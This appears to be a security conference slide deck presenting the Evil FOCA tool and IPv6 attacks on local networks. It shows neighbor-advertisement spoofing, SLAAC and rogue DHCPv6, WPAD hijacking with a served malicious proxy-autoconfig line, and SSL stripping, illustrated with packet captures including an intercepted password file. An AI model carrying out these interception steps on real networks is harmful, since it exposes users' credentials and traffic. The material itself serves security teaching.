

Fear the Evil FOCA

Attacking Internet Connections with IPv6

Chema Alonso

@chemaAlonso

chema@11paths.com



Eleven
Paths

Spain is different



Spain is different



Spain is different



Spain is different



FEAR THE
FOUCA





ipconfig

Adaptador de Ethernet Conexión de área local:

```
Sufijo DNS específico para la conexión. . . :  
Vínculo: dirección IPv6 local. . . : fe80::f47c:d2ae:b534:40b2%11  
Dirección IPv4. . . . . : 192.168.1.204  
Máscara de subred . . . . . : 255.255.255.0  
Puerta de enlace predeterminada . . . . . : 192.168.1.1
```

IPv6 is on your box!



And it works!: route print

```
IPv6 Tabla de enrutamiento
```

```
=====
```

```
Rutas activas:
```

	Quando destino de red	métrica	Puerta de enlace
1	306	::1/128	En vínculo
12	261	fe80::/64	En vínculo
12	261	fe80::5488:6a23:31ef:3505/128	En vínculo
1	306	ff00::/8	En vínculo
12	261	ff00::/8	En vínculo

```
=====
```

```
Rutas persistentes:
```

```
Ninguno
```

And it works!: ping

```
C:\Users\user>ping -a 192.168.0.1
```

```
Haciendo ping a server [192.168.0.1] con 32 bytes de datos:
```

```
Respuesta desde 192.168.0.1: bytes=32 tiempo=1ms TTL=128
```

```
Respuesta desde 192.168.0.1: bytes=32 tiempo<1m TTL=128
```

```
Respuesta desde 192.168.0.1: bytes=32 tiempo<1m TTL=128
```

```
Respuesta desde 192.168.0.1: bytes=32 tiempo=3ms TTL=128
```

```
Estadísticas de ping para 192.168.0.1:
```

```
Paquetes: enviados = 4, recibidos = 4, perdidos = 0  
(0% perdidos),
```

```
Tiempos aproximados de ida y vuelta en milisegundos:
```

```
Mínimo = 0ms, Máximo = 3ms, Media = 1ms
```

And it works!: ping

```
C:\Users\user>ping server
```

```
Haciendo ping a server [fe80::5d06:f13f:dcb1:279a%12] con 32 bytes de datos:
```

```
Respuesta desde fe80::5d06:f13f:dcb1:279a%12: tiempo=1ms
```

```
Respuesta desde fe80::5d06:f13f:dcb1:279a%12: tiempo<1m
```

```
Respuesta desde fe80::5d06:f13f:dcb1:279a%12: tiempo<1m
```

```
Respuesta desde fe80::5d06:f13f:dcb1:279a%12: tiempo<1m
```

```
Estadísticas de ping para fe80::5d06:f13f:dcb1:279a%12:
```

```
Paquetes: enviados = 4, recibidos = 4, perdidos = 0  
(0% perdidos),
```

```
Tiempos aproximados de ida y vuelta en milisegundos:
```

```
Mínimo = 0ms, Máximo = 1ms, Media = 0ms
```


LLMNR

fe80::f47c:d2ae:b534:40b2	ff02::1:3	LLMNR	83	Standard query A srv
192.168.1.204	224.0.0.252	LLMNR	63	Standard query A srv
fe80::f95c:b7c5:ea34:d3ff	fe80::f47c:d2ae:b534:40b2	LLMNR	102	Standard query response A 192.168.1.202
192.168.1.204	224.0.0.252	LLMNR	63	Standard query AAAA srv
fe80::f95c:b7c5:ea34:d3ff	fe80::f47c:d2ae:b534:40b2	LLMNR	102	Standard query response A 192.168.1.202

ICMPv6 (NDP)

- No ARP
 - No ARP Spoofing
 - Tools anti-ARP Spoofing are useless
- Neighbor Discovery Protocol uses ICMPv6
 - NS: Neighbor Solicitation
 - NA: Neighbor Advertisement

And it works!: Neighbors

```
C:\Users\user>netsh interface ipv6 show neighbors
```

Dirección de Internet	Dirección física	Tipo
fe80::49c1:a835:9559:63ee	00-15-5d-5a-17-03	Accesible
fe80::5d06:f13f:dcb1:279a	00-15-5d-5a-17-05	Obsoleto (Enrutador)
ff02::2	33-33-00-00-00-02	Permanente
ff02::c	33-33-00-00-00-0c	Permanente
ff02::16	33-33-00-00-00-16	Permanente
ff02::1:2	33-33-00-01-00-02	Permanente
ff02::1:3	33-33-00-01-00-03	Permanente
ff02::1:ff59:63ee	33-33-ff-59-63-ee	Permanente
ff02::1:ffef:3505	33-33-ff-ef-35-05	Permanente

NS/NA


Adaptador de escritorio Intel(R) PRO/1000 MT [Wireshark 1.6.0 (SVN Rev 37592 from /trunk-1.6)]

File Edit View Go Capture Analyze Statistics Telephony Tools Internals Help

Filter: Expression... Clear Apply

No.	Time	Source	Destination	Protocol	Length	Info
1	0.000	0.0.0.0	255.255.255.255	DHCP	342	DHCP Discover - Transaction ID 0xa52da74a
2	12.62	2001::1:1	ff02::1:ff01:2	ICMPv6	86	Neighbor solicitation for 2001::1:2 from 08:00:27
3	12.62	2001::1:2	2001::1:1	ICMPv6	86	Neighbor Advertisement 2001::1:2 (sol, ovr) is at
4	12.62	2001::1:1	2001::1:2	ICMPv6	94	Echo (ping) request id=0x0001, seq=1

Level 1: Mitm with NA Spoofing



NA Spoofing

Source	Destination	Protocol	Length	Info
fe80::f47c:d2ae:b534:40b2	fe80::f95c:b7c5:ea34:d3ff	ICMPv6	86	Neighbor Advertisement
fe80::f95c:b7c5:ea34:d3ff	fe80::f47c:d2ae:b534:40b2	ICMPv6	86	Neighbor Advertisement
fe80::f47c:d2ae:b534:40b2	ff02::1:3	LLMNR	83	Standard query A srv
192.168.1.204	224.0.0.252	LLMNR	63	Standard query A srv
fe80::f95c:b7c5:ea34:d3ff	fe80::f47c:d2ae:b534:40b2	LLMNR	102	Standard query response
192.168.1.204	224.0.0.252	LLMNR	63	Standard query AAAA srv
fe80::f95c:b7c5:ea34:d3ff	fe80::f47c:d2ae:b534:40b2	LLMNR	102	Standard query response
fe80::f47c:d2ae:b534:40b2	fe80::f95c:b7c5:ea34:d3ff	ICMPv6	150	Destination Unreachable

Flags: 0x00000000
0... .. = Router: Not set
.1.. .. = Solicited: Set
..1. = Override: Set
...0 0000 0000 0000 0000 0000 0000 0000 = Reserved: 0
Target Address: fe80::f47c:d2ae:b534:40b2 (fe80::f47c:d2ae:b534:40b2)
ICMPv6 Option (Target link-layer address : 08:00:27:3f:05:4e)
Type: Target link-layer address (2)
Length: 1 (8 bytes)
Link-layer address: cadmusCo_3f:05:4e (08:00:27:3f:05:4e)

NA Spoofing

Source	Destination	Protocol	Length	Info
fe80::f47c:d2ae:b534:40b2	fe80::f95c:b7c5:ea34:d3ff	ICMPv6	86	Neighbor Advertisement
fe80::f95c:b7c5:ea34:d3ff	fe80::f47c:d2ae:b534:40b2	ICMPv6	86	Neighbor Advertisement
fe80::f47c:d2ae:b534:40b2	ff02::1:3	LLMNR	85	Standard query A srv
192.168.1.204	224.0.0.252	LLMNR	63	Standard query A srv
fe80::f95c:b7c5:ea34:d3ff	fe80::f47c:d2ae:b534:40b2	LLMNR	102	Standard query response
192.168.1.204	224.0.0.252	LLMNR	63	Standard query AAAA srv
fe80::f95c:b7c5:ea34:d3ff	fe80::f47c:d2ae:b534:40b2	LLMNR	102	Standard query response
fe80::f47c:d2ae:b534:40b2	fe80::f95c:b7c5:ea34:d3ff	ICMPv6	150	Destination Unreachable

```
Flags: 0x60000000
 0... .. = Router: Not set
 .1.. .. = Solicited: Set
 ..1. ... = Override: Set
 ...0 0000 0000 0000 0000 0000 0000 0000 = Reserved: 0
Target Address: fe80::f95c:b7c5:ea34:d3ff (fe80::f95c:b7c5:ea34:d3ff)
ICMPv6 option (Target link-layer address : 08:00:27:3f:05:4e)
Type: Target link-layer address (2)
Length: 1 (8 bytes)
Link-layer address: CadmusCo_3f:05:4e (08:00:27:3f:05:4e)
```

Demo 1: Mitm using NA Spoofing and capturing SMB files

Spaniards!



EVIL



Step 1: Evil FOCA

The screenshot displays the Evil FOCA - 0.1.3.0 application window. The interface includes a menu bar (Program, Configuration, About), a network tree on the left, and a main configuration area. The main area is divided into tabs for MITM IPv6, MITM IPv4, DoS IPv6, DoS IPv4, and DNS Hijacking. The MITM IPv6 tab is active, showing options for Neighbor advertisement spoofing (SLAAC, DHCPv6, WPADv6) and Gateway. A 'Start' button is visible. A table below the configuration area lists active attacks, with one entry highlighted in red. The table has columns for Attack type, Attack, and Active. The highlighted entry shows a NeighborAdvertisement attack with two targets: fe80::39ae:a143:cc06:1ec6 and fe80::e9c7:7e76:788:be36, with the Active checkbox checked. A log window at the bottom shows messages from the NeighborSpoofing module.

Evil FOCA - 0.1.3.0

Program Configuration About

Network

- Neighbors
 - 00155D015901 (Share)
 - 192.168.10.1
 - fe80::39ae:a143:cc06:1ec6
 - 00155D015902 (Victim)
 - 192.168.10.43
 - fe80::e9c7:7e76:788:be36
- Routers

MITM IPv6 MITM IPv4 DoS IPv6 DoS IPv4 DNS Hijacking

Neighbor advertisement spoofing SLAAC DHCPv6 WPADv6

Gateway Targets


Start

Attack type	Attack	Active
NeighborAdvertisement...	Target 1: fe80::39ae:a143:cc06:1ec6 Target 2: fe80::e9c7:7e76:788:be36 Route: None	<input checked="" type="checkbox"/>

[Filter]

Time	Module	Message
2:23 ...	NeighborSpoofing	New neighbor detected with 00155D015901 as physical address
2:23 ...	NeighborSpoofing	New neighbor detected with 00155D015902 as physical address
2:29 ...	NeighborSpoofing	Performing a MITM (Neighbor spoofing) attack between fe80::39ae:a143:cc06:1ec6 and fe80...

Step 2: Connect to SMB Server



Step 3: Wireshark

The screenshot displays the Wireshark 1.6.7 interface. The main pane shows a list of captured packets with the following columns: No., Time, Source, Destination, Protocol, Length, and Info. A filter 'Iarp' is applied. Packet 66041 is selected and highlighted in blue. A context menu is open over this packet, with 'Follow TCP Stream' highlighted in red. The packet details pane shows the following layers: Ethernet II, Internet Protocol Version 6, Transmission Control Protocol, and NetBIOS Session Service. The packet bytes pane shows the raw data in hexadecimal and ASCII.

No.	Time	Source	Destination	Protocol	Length	Info
66029	57.797739	Fe80::f95c:b7c5:ea3	Fe80::f47c:d2ae:b53	DCERPC	250	Bind_ack: call_id: 2 Fragm
66030	57.804158	Fe80::f95c:b7c5:ea3	Fe80::f47c:d2ae:b53	DCERPC	250	[TCP Retransmission] Bind.
66031	57.843962	Fe80::f47c:d2ae:b53	Fe80::f95c:b7c5:ea3	SRVSVC	278	NetShareEnumAll request
66032	57.854862	Fe80::f47c:d2ae:b53	Fe80::f95c:b7c5:ea3	SRVSVC	278	[TCP Retransmission] NetSI
66033	57.857979	Fe80::f95c:b7c5:ea3	Fe80::f47c:d2ae:b53	SRVSVC	646	NetShareEnumAll response
66034	57.863582	Fe80::f95c:b7c5:ea3	Fe80::f47c:d2ae:b53	SRVSVC	646	[TCP Retransmission] NetSI
66035	57.918593	Fe80::f47c:d2ae:b53	Fe80::f95c:b7c5:ea3	SMB2	166	Close Request
66036	57.926469	Fe80::f47c:d2ae:b53	Fe80::f95c:b7c5:ea3	SMB2	166	[TCP Retransmission] Close
66037	57.929599	Fe80::f95c:b7c5:ea3	Fe80::f47c:d2ae:b53	SMB2	202	Close Response
66038	57.933846	Fe80::f95c:b7c5:ea3	Fe80::f47c:d2ae:b53	SMB2	202	[TCP Retransmission] Close
66039	58.191989	Fe80::f47c:d2ae:b53	Fe80::f95c:b7c5:ea3	TCP	74	49158 > microsoft-ds [ACK]
66040	58.198585	Fe80::f47c:d2ae:b53	Fe80::f95c:b7c5:ea3	TCP	74	[TCP Dup ACK 66039#1] 49158
66041	58.270628	Fe80::f47c:d2ae:b53	Fe80::f95c:b7c5:ea3	SMB2	172	TreeConnect Request Tree: \\srv\Use
66042	58.273844	Fe80::f47c:d2ae:b53	Fe80::f95c:b7c5:ea3	SMB2	172	[TCP Retransmission] TreeConnect Request Tree: \\srv\Use
66043	58.275580	Fe80::f95c:b7c5:ea3	Fe80::f47c:d2ae:b53	SMB2	158	TreeConnect Response

Frame 66041: 172 bytes on wire (1376 bits), 172 bytes captured (1376 bits)

Ethernet II, Src: CadmusCo_58:af:a8 (08:00:27:58:af:a8), Dst: CadmusCo_3f:05:4e (08:00:27:3f:05:4e)

Internet Protocol Version 6, Src: fe80::f47c:d2ae:b534:40b2 (fe80::f47c:d2ae:b534:40b2), Dst: fe80::f95c:b7c5:ea34:d3ff (fe80::f95c:b7c5:ea34:d3ff)

Transmission Control Protocol, Src Port: 49158 (49158), Dst Port: microsoft-ds (445), Seq: 8025, Ack: 8275, Len: 98

NetBIOS Session Service

SMB2 (Server Message Block Protocol version 2)

```
0000 08 00 27 3f 05 4e 08 00 27 58 af a8 86 dd 60 00  ..?.N.. 'X....'
0010 00 00 00 76 06 80 fe 80 00 00 00 00 00 00 f4 7c  ..v....|
0020 d2 ae b5 34 40 b2 fe 80 00 00 00 00 00 00 f9 5c  ...4@....\
0030 b7 c5 ea 34 d3 ff c0 06 01 bd 9e 90 6d 6c 29 37  ...4....ml)7
0040 3c 29 50 18 00 ff 9f e2 00 00 00 00 00 5e fe 53  < >P.....^S
0050 4d 42 40 00 01 00 00 00 00 03 00 01 00 00 00 00  M@.....
0060 00 00 00 00 00 00 38 00 00 00 00 00 00 ff fe  ....8.....
0070 00 00 00 00 00 01 00 00 00 00 04 00 00 00 00 00  ....@.....
```

Step 4: Follow TCP Stream

The screenshot shows the 'Follow TCP Stream' window in Wireshark. The window title is 'Follow TCP Stream'. The main area displays the 'Stream Content' for a selected packet. The content is a mix of ASCII and hex characters, with several lines highlighted in blue and red. Two red boxes highlight specific parts of the stream:

- The first box highlights the text: `P.a.s.s.w.o.r.d...t.x.t.`
- The second box highlights the text: `La clave es 1234`

At the bottom of the window, there are several buttons: 'Find', 'Save As', 'Print', and a radio button for 'ASCII'. Below these are radio buttons for 'EBCDIC', 'Hex Dump', 'C Arrays', and 'Raw' (which is selected). At the very bottom, there are buttons for 'Help', 'Filter Out This Stream', and 'Close'. The status bar at the bottom indicates 'Entire conversation (12232 bytes)'.


LEVEL 2: SLAAC Attack



ICMPv6: SLAAC

- Stateless Address Auto Configuration
- Devices ask for routers
- Routers public their IPv6 Address
- Devices auto-configure IPv6 and Gateway
 - RS: Router Solicitation
 - RA: Router Advertisement


Rogue DHCPv6



DNS Autodiscovery

348	493.814082	fc00::2	fec0:0:0:ffff::3	DNS	89	standard	query	AAAA	lucas.com
349	494.814324	fc00::2	fec0:0:0:ffff::2	DNS	89	standard	query	AAAA	lucas.com
350	495.812164	fc00::2	fec0:0:0:ffff::3	DNS	89	standard	query	AAAA	lucas.com
351	497.820460	fc00::2	fec0:0:0:ffff::1	DNS	89	standard	query	AAAA	lucas.com
352	497.820719	fc00::2	fec0:0:0:ffff::2	DNS	89	standard	query	AAAA	lucas.com
353	497.821244	fc00::2	fec0:0:0:ffff::3	DNS	89	standard	query	AAAA	lucas.com
354	501.823387	fc00::2	fec0:0:0:ffff::1	DNS	89	standard	query	AAAA	lucas.com
355	501.823468	fc00::2	fec0:0:0:ffff::2	DNS	89	standard	query	AAAA	lucas.com
356	501.824322	fc00::2	fec0:0:0:ffff::3	DNS	89	standard	query	AAAA	lucas.com

And it works!: Web Browser



Not in all Web Browsers...

The screenshot shows the Chrome DevTools net-internals/#dns page. The top navigation bar includes 'Capture', 'Export', 'Import', 'Proxy', 'Events', 'Timeline', 'DNS' (highlighted), 'Sockets', 'SPDY', 'QUIC', 'Pipelining', 'Cache', 'SPIs', 'Tests', 'HSTS', 'Bandwidth', and 'Render'. The main content area is divided into sections: 'Host resolver', 'Async DNS Configuration', 'Host resolver cache', and 'Current State'. The 'Host resolver' section includes links for 'View pending lookups', 'Default address family: IPV4 (IPV6 disabled)' with an 'Enable IPV6' button, 'Run IPV6 Probe', and 'View all IPV6 probe events'. The 'Async DNS Configuration' section shows 'Internal DNS client enabled: false'. The 'Host resolver cache' section has a 'Clear host cache' button and 'Capacity: 1000'. The 'Current State' section shows 'Active entries: 0' and 'Expired entries: 28'. At the bottom, a table displays the current state of DNS entries.

Hostname	Family	Addresses	Expires
accounts.google.com	IPV4	error: -105 (ERR_NAME_NOT_RESOLVED)	2013-03-27 16:14:18.120 [Expir

Windows Behavior

- IPv4 & IPv6 (both fully configured)
 - DNSv4 queries A & AAAA
- IPv6 Only (IPv4 not fully configured)
 - DNSv6 queries A
- IPv6 & IPv4 Local Link
 - DNSv6 queries AAAA

From A to AAAA


Capturing from Adaptador de escritorio Intel(R) PRO/1000 MT: \Device\NPF_{9982FDAA-0F76-4261-8A67-FFEE4F124117} [Wireshark 1.8.5 (SVN Rev 47350 from /trunk-1.8)]

File Edit View Go Capture Analyze Statistics Telephony Tools Internals Help

Filter: dns Expression... Clear Apply Save

No.	Time	Source	Destination	Protocol	Length	Info
6	2.073104000	fc00::f8d2:df5c:3141:a20b	fec0:0:0:ffff::3	DNS	100	Standard query 0xcdb9 A www.e1ladode1ma1.com
7	2.076212000	fec0:0:0:ffff::3	fc00::f8d2:df5c:3141:a20b	DNS	128	Standard query response 0xcdb9 AAAA 64::ffff:adc2:4379
317	2.769773000	fc00::f8d2:df5c:3141:a20b	fec0:0:0:ffff::3	DNS	95	Standard query 0xd07e A www.blogger.com
320	2.773999000	fec0:0:0:ffff::3	fc00::f8d2:df5c:3141:a20b	DNS	123	Standard query response 0xd07e AAAA 64::ffff:adc2:43bf
327	2.7770342000	fc00::f8d2:df5c:3141:a20b	fec0:0:0:ffff::3	DNS	95	Standard query 0xba5b A api3.google.com
328	2.782336000	fec0:0:0:ffff::3	fc00::f8d2:df5c:3141:a20b	DNS	123	Standard query response 0xba5b AAAA 64::ffff:4a7d:8465
329	2.783652000	fc00::f8d2:df5c:3141:a20b	fec0:0:0:ffff::3	DNS	97	Standard query 0x922b A img1.blogblog.com
330	2.785818000	fec0:0:0:ffff::3	fc00::f8d2:df5c:3141:a20b	DNS	125	Standard query response 0x922b AAAA 64::ffff:4a7d:84bf
331	2.786959000	fc00::f8d2:df5c:3141:a20b	fec0:0:0:ffff::3	DNS	101	Standard query 0x5ac6 A www.informatica64.com
332	2.789881000	fec0:0:0:ffff::3	fc00::f8d2:df5c:3141:a20b	DNS	129	Standard query response 0x5ac6 AAAA 64::ffff:5051:6a93
333	2.791290000	fc00::f8d2:df5c:3141:a20b	fec0:0:0:ffff::3	DNS	100	Standard query 0x93e4 A feeds.feedburner.com
334	2.842513000	fec0:0:0:ffff::3	fc00::f8d2:df5c:3141:a20b	DNS	128	Standard query response 0x93e4 AAAA 64::ffff:adc2:2242
349	2.958565000	fc00::f8d2:df5c:3141:a20b	fec0:0:0:ffff::3	DNS	98	Standard query 0x90b5 A pub12.bravenet.com
350	2.959041000	fc00::f8d2:df5c:3141:a20b	fec0:0:0:ffff::3	DNS	104	Standard query 0x6648 A www.google-analytics.com
351	2.961216000	fec0:0:0:ffff::3	fc00::f8d2:df5c:3141:a20b	DNS	126	Standard query response 0x90b5 AAAA 64::ffff:4127:b070
352	2.962058000	fec0:0:0:ffff::3	fc00::f8d2:df5c:3141:a20b	DNS	132	Standard query response 0x6648 AAAA 64::ffff:adc2:4e65

DNS64 & NAT64



Demo 2: 8ttp colon
SLAAC SLAAC

Step 1: No AAAA record

```
C:\>nslookup
Servidor predeterminado:  UnKnown
Address:


> server 8.8.8.8
Servidor predeterminado:  google-public-dns-a.google.com
Address:  8.8.8.8

> set type=AAAA
> www.rootedcon.es
Servidor:  google-public-dns-a.google.com
Address:  8.8.8.8

Nombre:  www.rootedcon.es

> _
```

Step 2: IPv4 not fully conf. DHCP attack



```
Simbolo del sistema
C:\>>ipconfig

Configuración IP de Windows

Adaptador de Ethernet Conexión de área local:

    Sufijo DNS específico para la conexión. . . :
    Vínculo: dirección IPv6 local. . . . . : fe80::6d59:1c72:8952:f786%11
    Dirección IPv4. . . . . : 169.254.233.2
    Máscara de subred . . . . . : 255.255.255.0
    Puerta de enlace predeterminada . . . . . :

Adaptador de túnel isatap.{9982FDAA-0F76-4261-8A67-FFEE4F124117}:


    Estado de los medios. . . . . : medios desconectados
    Sufijo DNS específico para la conexión. . . :

Adaptador de túnel Teredo Tunneling Pseudo-Interface:

    Estado de los medios. . . . . : medios desconectados
    Sufijo DNS específico para la conexión. . . :

C:\>>4
```


Step 4: Victim has Internet over IPv6



Level 3: WPAD attack in IPv6



WebProxy AutoDiscovery


- Automatic configuration of Web Proxy Servers
- Web Browsers search for WPAD DNS record
- Connect to Server and download WPAD.pac
- Configure HTTP connections through Proxy

WPAD Attack

- Evil FOCA configures DNS Answers for WPAD
- Configures a Rogue Proxy Server listening in IPv6 network
- Re-route all HTTP (IPv6) connections to Internet (IPv4)

Demo 3: WPAD IPv6 Attack

Step 1: Victim searches for WPAD A record using LLMNR



The image shows a Wireshark network traffic capture. The filter is set to 'dns'. The packet list shows four LLMNR queries from 192.168.137.2 to ff02::1:3. The packet details for the selected packet (Frame 4) show it is a Standard query for 'wpad' type A records.

No.	Time	Source	Destination	Protocol	Length	Info
1	0.00000000	fe80::d1a5:3fc4:8ac9:7f36	ff02::1:3	LLMNR	84	Standard query 0xe3f6 A wpad
2	0.00013300	192.168.137.2	224.0.0.252	LLMNR	64	Standard query 0xe3f6 A wpad
3	0.10570400	fe80::d1a5:3fc4:8ac9:7f36	ff02::1:3	LLMNR	84	Standard query 0xe3f6 A wpad
4	0.10574100	192.168.137.2	224.0.0.252	LLMNR	64	Standard query 0xe3f6 A wpad

Frame 4: 64 bytes on wire (512 bits), 64 bytes captured (512 bits) on interface 0

- Ethernet II, Src: Microsof_01:32:04 (00:15:5d:01:32:04), Dst: IPv4mcast_00:00:fc (01:00:5e:00:00:fc)
- Internet Protocol Version 4, Src: 192.168.137.2 (192.168.137.2), Dst: 224.0.0.252 (224.0.0.252)
- User Datagram Protocol, Src Port: 54896 (54896), Dst Port: 11mnr (5355)
- Link-local Multicast Name Resolution (query)
 - Transaction ID: 0xe3f6
 - Flags: 0x0000 Standard query
 - Questions: 1
 - Answer RRs: 0
 - Authority RRs: 0
 - Additional RRs: 0
 - Queries
 - wpad: type A, class IN
 - Name: wpad
 - Type: A (Host address)
 - Class: IN (0x0001)

Step 2: Evil FOCA answers with AAAA

The image shows a Wireshark network traffic capture. The top toolbar includes menus like File, Edit, View, Go, Capture, Analyze, Statistics, Telephony, Tools, Internals, and Help. Below the toolbar is a filter bar with 'dns' selected. The main display area shows a list of network packets. Packet 8 is highlighted in blue and contains a DNS response with AAAA records. The packet details pane for packet 8 is expanded, showing the following information:

- Transaction ID: 0xe3f6
- Flags: 0x8000 Standard query response, No error
- Questions: 1
- Answer RRs: 1
- Authority RRs: 0
- Additional RRs: 0
- Queries
 - wpad: type A, class IN
 - Name: wpad
 - Type: A (Host address)
 - Class: IN (0x0001)
- Answers
 - wpad: type AAAA, class IN, addr fe80::6965:7ae2:65e3:3958
 - Name: wpad
 - Type: AAAA (IPv6 address)
 - Class: IN (0x0001)
 - Time to live: 30 seconds
 - Data length: 16
 - Addr: fe80::6965:7ae2:65e3:3958

The 'Answers' section is highlighted with a red box in the original image.

Step 3: Vitim asks (then) for WPAD AAAA Record using LLMNR

The image shows a Wireshark network traffic capture. The filter is set to 'dns'. The packet list pane shows four packets:

No.	Time	Source	Destination	Protocol	Length	Info
130	60.8551870	fe80::d1a5:3fc4:8ac9:7f36	ff02::1:3	LLMNR	84	Standard query 0x9244 A wpad
131	60.8553830	192.168.137.2	224.0.0.252	LLMNR	64	Standard query 0x9244 A wpad
132	60.8712800	fe80::6965:7ae2:65e3:3958	fe80::d1a5:3fc4:8ac9:7f36	LLMNR	116	Standard query response 0x9244 AAAA fe80::6965:7ae2:65e3:3958
133	60.8716210	fe80::d1a5:3fc4:8ac9:7f36	ff02::1:3	LLMNR	84	Standard query 0x9534 AAAA wpad

The packet details pane for Frame 133 (84 bytes on wire) is expanded to show the following information:

- Ethernet II, Src: Microsof_01:32:04 (00:15:5d:01:32:04), Dst: IPv6mcast_00:01:00:03 (33:33:00:01:00:03)
- Internet Protocol Version 6, Src: fe80::d1a5:3fc4:8ac9:7f36 (fe80::d1a5:3fc4:8ac9:7f36), Dst: ff02::1:3 (ff02::1:3)
- User Datagram Protocol, Src Port: 60809 (60809), Dst Port: 11mnr (5355)
- Link-local Multicast Name Resolution (query)
 - Transaction ID: 0x9534
 - Flags: 0x0000 standard query
 - Questions: 1
 - Answer RRs: 0
 - Authority RRs: 0
 - Additional RRs: 0
 - Queries
 - wpad: type AAAA, class IN
 - Name: wpad
 - Type: AAAA (IPv6 address)
 - Class: IN (0x0001)

Step 4: Evil FOCA confirms WPAD IPv6 address...

The screenshot shows a Wireshark interface with a filter set to 'dns'. The packet list pane displays four DNS-related packets:

No.	Time	Source	Destination	Protocol	Length	Info
131	60.8553830	192.168.137.2	224.0.0.252	LLMNR	64	Standard query 0x9244 A wpad
132	60.8712800	fe80::6965:7ae2:65e3:3958	fe80::d1a5:3fc4:8ac9:7f36	LLMNR	116	Standard query response 0x9244 AAAA fe80::6965:7ae2:65e3:3958
133	60.8716210	fe80::d1a5:3fc4:8ac9:7f36	ff02::1:3	LLMNR	84	Standard query 0x9534 AAAA wpad
134	60.9022560	fe80::6965:7ae2:65e3:3958	fe80::d1a5:3fc4:8ac9:7f36	LLMNR	116	Standard query response 0x9534 AAAA fe80::6965:7ae2:65e3:3958

The packet details pane for frame 134 shows the following structure:

- Frame 134: 116 bytes on wire (928 bits), 116 bytes captured (928 bits) on interface 0
- Ethernet II, Src: Microsof_01:32:06 (00:15:5d:01:32:06), Dst: Microsof_01:32:04 (00:15:5d:01:32:04)
- Internet Protocol Version 6, Src: fe80::6965:7ae2:65e3:3958 (fe80::6965:7ae2:65e3:3958), Dst: fe80::d1a5:3fc4:8ac9:7f36 (fe80::d1a5:3fc4:8ac9:7f36)
- User Datagram Protocol, Src Port: llmnr (5355), Dst Port: 60809 (60809)
- Link-local Multicast Name Resolution (response)
 - Transaction ID: 0x9534
 - Flags: 0x8000 Standard query response, No error
 - Questions: 1
 - Answer RRs: 1
 - Authority RRs: 0
 - Additional RRs: 0
- Queries
 - wpad: type AAAA, class IN
 - Name: wpad
 - Type: AAAA (IPv6 address)
 - Class: IN (0x0001)
- Answers
 - wpad: type AAAA, class IN, addr fe80::6965:7ae2:65e3:3958
 - Name: wpad
 - Type: AAAA (IPv6 address)
 - Class: IN (0x0001)
 - Time to live: 30 seconds
 - Data length: 16
 - Addr: fe80::6965:7ae2:65e3:3958

Step 5: Victim asks for WPAD.PAC file in EVIL FOCA IPv6 Web Server

The image shows a Wireshark network traffic capture. The filter is set to 'http'. The packet list shows two packets: packet 111 is an SSDP M-SEARCH, and packet 142 is an HTTP GET request for /wpad.dat. The packet details pane for packet 142 is expanded, showing the Hypertext Transfer Protocol section with the following details:

- GET /wpad.dat HTTP/1.1\r\n
- [Expert Info (Chat/Sequence): GET /wpad.dat HTTP/1.1\r\n]
- Request Method: GET
- Request URI: /wpad.dat
- Request Version: HTTP/1.1
- Connection: Keep-Alive\r\n
- Accept: */*\r\n
- Host: [fe80::6965:7ae2:65e3:3958]\r\n
- \r\n
- [Full request URI: http://[fe80::6965:7ae2:65e3:3958]/wpad.dat]

Step 6: Evil FOCA Sends WPAD.PAC

```
148 62.5358880 fe80::6965:7ae2:65e3:3958 fe80::d1a5:3fc4:8ac9:7f36 HTTP 248 HTTP/1.1 200 OK (application/x-ns-proxy-autoconfig)
<
+ Frame 148: 248 bytes on wire (1984 bits), 248 bytes captured (1984 bits) on interface 0
+ Ethernet II, Src: Microsof_01:32:06 (00:15:5d:01:32:06), Dst: Microsof_01:32:04 (00:15:5d:01:32:04)
+ Internet Protocol Version 6, Src: fe80::6965:7ae2:65e3:3958 (fe80::6965:7ae2:65e3:3958), Dst: fe80::d1a5:3fc4:8ac9:7f36 (fe80::d1a5:3fc4:8ac9:7f36)
+ Transmission Control Protocol, Src Port: http (80), Dst Port: 49181 (49181), Seq: 1, Ack: 39, Len: 174
+ Hypertext Transfer Protocol
  - HTTP/1.1 200 OK\r\n
    - [Expert Info (Chat/Sequence): HTTP/1.1 200 OK\r\n
      Request Version: HTTP/1.1
      Status Code: 200
      Response Phrase: OK
      Content-Type: application/x-ns-proxy-autoconfig\r\n
    + Content-Length: 86\r\n
      \r\n
  - Line-based text data: application/x-ns-proxy-autoconfig
    function FindProxyForURL(ur[, host]){return "PROXY [fe80::6965:7ae2:65e3:3958]:61638";}
```


Bonus Level



HTTP-s Connections

- SSL Strip
 - Remove “S” from HTTP-s links
- SSL Sniff
 - Use a Fake CA to create dynamicly Fake CA
- Bridging HTTP-s
 - Between Server and Evil FOCA -> HTTP-s
 - Between Evil FOCA and victim -> HTTP
- Evil FOCA does SSL Strip and Bridging HTTP-s (so far)

Google Results Page

- Evil FOCA will:
 - Take off Google Redirect
 - SSL Strip any result

Step 8: Victim searches Facebook in Google

The screenshot shows a web browser window with the Google search engine. The search query is "facebook" and the results are displayed in Spanish. The browser's address bar shows the URL: <http://www.google.es/search?scient=psy-ab&q=facebook&btnG=>. The search results page shows the following information:

- Search results: About 12,870,000,000 results (0.16 seconds)
- Top result: [Welcome to Facebook - Log In, Sign Up or Learn More](http://www.facebook.com/)
<http://www.facebook.com/>
Facebook is a social utility that connects people with friends and others who work, study and live around them. People use Facebook to keep up with friends, ...
- Related links:
 - [Facebook](#): Facebook is a social utility that connects people with friends ...
 - [Timeline](#): Timeline is the new Facebook profile. Tell your life story ...
 - [Log In](#): Facebook Login. Facebook Login. Email or Phone: Password ...
 - [Facebook for Business](#): Facebook for Business. There are over one billion people on ...
 - [Facebook Developers](#): Grow your app with Facebook. Facebook enables anyone to ...
 - [Facebook Login](#): Facebook Login. Facebook Login. You must log in to see this ...
- Knowledge panel for Facebook, Inc.:
 - Facebook, Inc.
 - Social Network company
 - Facebook is an online social networking service, whose name stems from the colloquial name for the book given to students at the start of the academic year by some university administrations in the ... Wikipedia
 - Stock price: FB (NASDAQ) \$37.78 +0.29 (+0.78%)
Aug 2, 9:45 AM EDT - Disclaimer
 - Founded: February 4, 2004, Cambridge, Massachusetts, United States

Step 9: Connects to Facebook



